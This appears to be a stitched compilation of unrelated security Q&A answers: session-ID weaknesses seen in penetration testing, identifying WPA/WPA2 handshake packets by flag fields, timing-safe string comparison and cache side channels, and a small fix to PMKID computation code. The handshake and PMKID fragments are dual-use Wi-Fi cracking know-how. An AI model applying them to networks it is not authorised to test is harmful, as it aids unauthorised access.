Burp has a session id analysis tool,  but I'll be honest its output doesn't make any sense and as a penetration tester,  this feature has never led to a finding...

If I audit a session handler I will look at its source code and judge it by the entropy source that it is using.

In a blabkbox assessment if the session id doesn't change when you authenticate multiple times then the application might be using the password hash as the session id.  The developer who wrote this garbage should be fired,  there is no excuse for this degree of incompetence.  (Wordpress, I'm looking at you)


I solve it for both WPA and WPA2 using MIC_SET, ACK and NONCE fields.

MIC_SET   |   ACK   |   NONCE   |   Packet Number
   0      |    1    |     x     |        1
   1      |    0    |     x     |        2
   1      |    1    |     x     |        3
   1      |    0    |     0     |        4

Where with x I indicate that the NONCE has a value different of 0000000...


Timing Safe String Comparison - Avoiding Length Leak

Being able to process strings of arbitrary length without leaking information on their length seems to be very hard (i.e. I don't see how to do it) because of caches. A very long string, by definition, will take a lot of room, and thus reading the string will incur interaction with the caches. Accessing the string from RAM will trigger cache misses, and also evict other data elements from the caches, impacting the future behaviour of the application code. A cache miss costs dozens or even hundreds of clock cycles: it is at least ten times more visible, from the outside, than a branch misprediction. If you worry about branches, then you should worry a lot more about caches.

However, we can cheat with padding. Assume that you could arrange for the two strings you want to compare to be written at the start of two big, equal-sized buffers full of zeros; also, we suppose that a byte of value 0 cannot appear in a normal string (e.g. these are C strings). Then all you need is to make a leak-free comparison of the two buffers, who have the same length. The buffer length will leak, but it is a fixed, constant and publicly known parameter, so that's not a problem.

This does not solves the problem; it moves it. Now, you have to make sure that whatever produced the strings could write them in the buffers without leaking size information. Generally speaking, you no longer have strings. You have binary values of a given fixed length that you copy with a big memcpy(); these values just happen to have a string interpretation in which the bytes are considered to be characters, up to the first byte of value zero.

From a higher point of view, having a "safe string comparison function" is like bringing a bucket aboard the Titanic. If your code is handling secret data, then everything you do with the data is potentially subject to timing attacks. In general, your application can be of two sorts:

If the only secret part is a single cryptographic element and everything else is public, then using a few leak-free primitives makes sense, and will improve overall security. A classic example is a Certification Authority, where the only secret part is the CA private key; as long as the signature algorithm does not leak secrets, the whole system is robust against timing attacks. Similarly, a Web site which does password-based authentication but otherwise contains only public data will be fine.
If the secrecy is spread throughout the system, such as a Web site which does password-based authentication to give access to some confidential data, then concentrating on the string comparison misses the point. The whole server code must be made leak-free, and that is a considerably more difficult endeavour (and we don't really know how to do it).

In any case, trying to protect any given piece of code against side-channel attacks becomes harder when the language is more "high-level". A language such as PHP, with its automatic memory management (the garbage collector) and string management (string are values just like integers) will not help at all. That's the reason why low-level primitives implemented in C (such as a leak-free string comparison function) must be provided, but the issue is much larger and encompasses a lot of PHP code as well.


Implementation of PMKID computing function

Your code is ok, but you need to put the MACs in hex:

'\x34\xbf\x90\x4a\xbb\x57' instead of '34:bf:90:4a:bb:57'